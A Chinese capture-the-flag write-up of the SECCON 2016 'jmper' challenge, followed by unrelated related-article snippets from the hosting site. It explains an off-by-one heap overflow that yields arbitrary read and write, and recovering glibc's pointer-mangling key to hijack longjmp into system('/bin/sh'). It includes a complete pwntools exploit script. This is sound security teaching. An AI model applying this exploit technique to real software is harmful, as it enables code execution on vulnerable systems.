Pwn With longjmp
前言
这个是 seccon-ctf-quals-2016
的一个题,利用方式还是挺特殊的记录一下。
题目链接
http://t.cn/RnfeHLv
正文
首先看看程序的安全措施
haclh@ubuntu:~/workplace/jmper$ checksec jmper
[*] '/home/haclh/workplace/jmper/jmper'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
开了 Full RELRO
, 所以不能修改 got
表了。
分配了两个大内存,一个作为一个全局表,用于存放程序中用的结构体指针, 一个作为 jmpbuf
, 用于在 longjmp
时跳转回来。
接下来就是 f
函数,程序主要的逻辑在这里面。
** Add student**
最多的可以创建 0x1d
个 student
, 如果已经创建满了的话就 longjmp
返回到 main
函数结束程序。创建时会分配两个堆内存。
结构体类型大概为
分配第一个 student
时的 内存布局为
** Name student**
输入 id
, 然后在 myclass
里面找到相应的地址,取出 name_ptr
,向里面写入内容,注意循环条件
for ( i = 0; i <= 0x20; ++i )
我们可以写入 0x21
个字节,我们分配的内存为 0x20
, 可以有 一字节的 溢出,不过这里我们不能控制 分配的大小以及 释放堆块, 无法使用 overlap-heap
利用。继续往下看。
Write memo
类似的操作,依旧可以溢出 memo
的 一个字节, 在 memo
后面存放的是 name_ptr
所以我们可以修改 name_ptr
的最低字节.
有一个小知识,如果内存分配的顺序大小不变,各个内存块相对于堆基地址的偏移是固定的,所以修改 name_ptr
的最低字节,我们可以使得 name_ptr
指向和 它距离较近的堆块。
这里的话直接修改为下一个堆块的 name_ptr
的地址, 然后利用 name student
就可以修改下一个堆块的 name_ptr
,再利用后面的 Show Name
功能就可以实现 任意地址读写。
以后通过
set_name(0, p64(addr))
getname(1)
就可以实现任意地址读
通过
set_name(0, p64(addr))
set_name(1, data)
就可以实现任意地址写
现在的问题是往哪写,写什么。
当新增的student
的人数到限制后,会调用longjmp
, 我们来看看 调用 longjmp
时做了什么
进入函数时 rdi
为 jmpbuf
的地址,可以看到,在 jmpbuf + 0x38
处存放了加密后的 rip
, 进入 longjmp
会先解密 出 rip
然后跳转。
mov rdx, [rdi+38h]
ror rdx, 11h
xor rdx, fs:30h
jmpbuf
在堆中,如果我们可以 拿到 fs:30h
然后修改 jmpbuf + 0x38
,我们就可以控制执行流了。
longjmp
跳转的地址其实就是 调用 setjmp
的下一条指令(0x400C31)
又由于 xor
是可逆的,所以我们可以通过
mov rdx, [rdi+38h]
ror rdx, 11h
xor rdx, 0x400C31
得到 fs:30h
至于重新的加密 rip
的过程,可以看 setjmp
的实现
所以总的利用思路
- 利用
off-by-one
获取任意地址读写的能力 - 利用
student 2
的name_ptr
泄露堆地址 - 获取
jmpbuf + 0x38
的值,计算fs:30h
的值 - 重新计算值写入
jmpbuf + 0x38
, 同时往jmpbuf
开头写入 ``/bin/sh\x00
参考
https://github.com/ctfs/write-ups-2016/tree/master/seccon-ctf-quals-2016/exploit/cheer-msg-100
最后的 exp:
#/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info')
p = process("./jmper")
def ror(reg, count):
src = bin(reg)[2:]
src = "0" * (64 - len(src)) + src
# print(src)
# print(src[-count:] + ":::" + src[:64 - count])
return int(src[-count:] + src[:64 - count],2)
def rol(reg, count):
src = bin(reg)[2:]
src = "0" * (64 - len(src)) + src
# print(src)
# print(src[:count] + ":::" + src[count:])
# print(src[count:] + src[:count])
return int(src[count:] + src[:count],2)
def add():
p.recvuntil("Bye :)")
p.sendline("1")
def set_name(index, name):
p.recvuntil("Bye :)")
p.sendline("2")
p.recvuntil("ID:")
p.sendline(str(index))
p.recvuntil("Input name:")
p.sendline(name)
def write_memo(index, data):
p.recvuntil("Bye :)")
p.sendline("3")
p.recvuntil("ID:")
p.sendline(str(index))
p.recvuntil("Input memo:")
p.sendline(data)
def getname(index):
p.recvuntil("Bye :)")
p.sendline("4")
p.recvuntil("ID:")
p.sendline(str(index))
gdb.attach(p,'''
# bp 0x0400B03
# bp __sigsetjmp
c
''')
pause()
add() # get stu 0
set_name(0, "/bin/sh\x00")
write_memo(0, "b"*8)
add() # get stu 1
set_name(1, "c"*8)
write_memo(1, "d"*8)
write_memo(0, "b"*32 + "\x78") # 设置 student0 的 name_ptr 指向 student1 的 name_ptr 的位置
log.info("此时 0's name_ptr--> 1's name_ptr的地址")
pause()
getname(0)
heap = u64(p.recv(3) + "\x00" * 5) - 656
log.info("heap的基地址: " + hex(heap))
pause()
set_name(0, p64(0x0601FA8+1))
log.info("1's name_ptr ---> printf@got+1")
pause()
getname(1)
printf_addr = u64("\x00" + p.recv(5) + "\x00" * 2)
libc = printf_addr - 350208
system = libc + 283536
longjmp = libc + 0x352F0
log.info("libc: " + hex(libc))
log.info("system: " + hex(system))
log.info("longjmp: " + hex(longjmp))
pause()
jmpbuf = heap + 0x110
saved_rip_addr = jmpbuf + 0x38
# 获取 saved_rip_addr 处的数据
set_name(0, p64(saved_rip_addr))
getname(1)
saved_rip = u64(p.recv(8))
xor_key = ror(saved_rip, 0x11) ^ 0x400C31
new_saved_rip = rol(system ^ xor_key, 0x11)
log.info("saved_rip: " + hex(saved_rip))
log.info("xor_key: " + hex(xor_key))
log.info("new saved_rip: " + hex(new_saved_rip) )
pause()
set_name(1,p64(new_saved_rip))
set_name(0, p64(jmpbuf))
set_name(1,"/bin/sh\x00")
log.info("set jmpbuf: /bin/sh\x00.....")
pause()
for x in xrange(0x1e - 2):
add()
log.info("call longjmp")
pause()
add()
p.interactive()
Pwn With longjmp的更多相关文章
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- C 语言中 setjmp 和 longjmp
在 C 语言中,我们不能使用 goto 语句来跳转到另一个函数中的某个 label 处:但提供了两个函数——setjmp 和 longjmp来完成这种类型的分支跳转.后面我们会看到这两个函数在处理异常 ...
- 非本地跳转之setjmp与longjmp
非本地跳转(unlocal jump)是与本地跳转相对应的一个概念. 本地跳转主要指的是类似于goto语句的一系列应用,当设置了标志之后,可以跳到所在函数内部的标号上.然而,本地跳转不能将控制权转移到 ...
- longjmp setjmp and volatile
/******************************************************************************* * 版权所有: * 模 块 名: * ...
- setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto
目录 . 应用场景 . Use Case Code Analysis . 和setjmp.longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Over ...
- 使用signal、setjmp、longjmp进行Linux/Android C异常处理
#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <setjmp.h&g ...
- C中的setjmp与longjmp
setjmp与longjmp是属于C语言中的,当然,C++也会有这两个函数了.他们的原型如下: int setjmp( jmp_buf env ); 作用:第一次调佣时,将寄存器的当前状态信息全部存入 ...
- setjmp 与 longjmp
setjmp和longjmp是C语言独有的,只有将它们结合起来使用,才能达到程序控制流有效转移的目的,按照程序员的预先设计的意图,去实现对程序中可能出现的异常进行集中处理. 先来看一下这两个函数的定义 ...
- 在信号处理函数中调用longjmp
错误情况及原因分析 前两天看APUE的时候,有个程序要自己制作一个sleep程序,结果在这个程序中就出现了在信号处理函数中调用longjmp函数的情况,结果就出现了错误,具体错误是啥呢,请参见下面这段 ...
随机推荐
- jQuery过滤选择器:first和:first-child的区别,CSS伪类:first-child
最近项目中遇到需求:只在第一列不能删除,不显示小叉号:点击可添加一列,后面的列右上角显示小叉号,可以点击删除. 我是使用以下方法解决这个小需求 :CSS伪类选择器:first-child设置所有小叉号 ...
- DOM时钟
使用JS使时钟运动 DOM运动,主要操作css3中transform:rotate(): 计时器setInterval(),setTimeout(),如何防止时钟偷停; 时钟的时针.分针.秒针的运动的 ...
- 极高效内存池实现 (cpu-cache)
视频请看 : http://edu.csdn.net/course/detail/627 1.内存池的目的 提高程序的效率 减少运行时间 避免内存碎片 2.原理 要解决上述两个问题,最好的方法就是 ...
- C语言初学
输出控制符 输出控制符 含义 %d int 整型数 %ld long int %c char 一个字符 %f float 浮点数,整数/整数=整数,整数/小数=小数 %lf double %x %X ...
- redis 迁移工具 redis-port 从阿里云迁移到aws
对于 redis 的 迁移我在网上看到了很多方法,有使用redis-dump 的,有使用 aof导入方式,有rdb文件迁移方式,和redis-port. 由于我是将 redis 从阿里云迁移到AW ...
- redis-springdata-api
使用StringRedisTempalte操作redis五种数据类型 spring-data中继承了redisTemplate, 提供redis非切片连接池 代码github地址: https://g ...
- antlr4 接触
1. 配置IDE(可选) 2. 加减法示例 编写expr.g4 grammar AddMinus; expr: Minus Number #minusNum | expr op=('+'|'-') e ...
- WPF的ControlTemplate和DataTemplate简介
首先理清几个概念,Template.ControlTemplate.ContentTemplate.DataTemplate.ContentControl 这几个东西名字都差不多,意思感觉也接近,初次 ...
- 桌面程序开发入门(WinForm with C#)
1.使用Visual Studio 2013创建新项目 2.创建一个主窗体和4个子窗体 3.创建一个数据库.一个表.一个存储过程 4.在配置文件里添加数据库连接字符串 5.真正的编码工作. 第一步:创 ...
- Struts2 Web Project 实现中文、英语的切换
1.struts.xml文件部分配置: <package name="default" namespace="/login" extends=" ...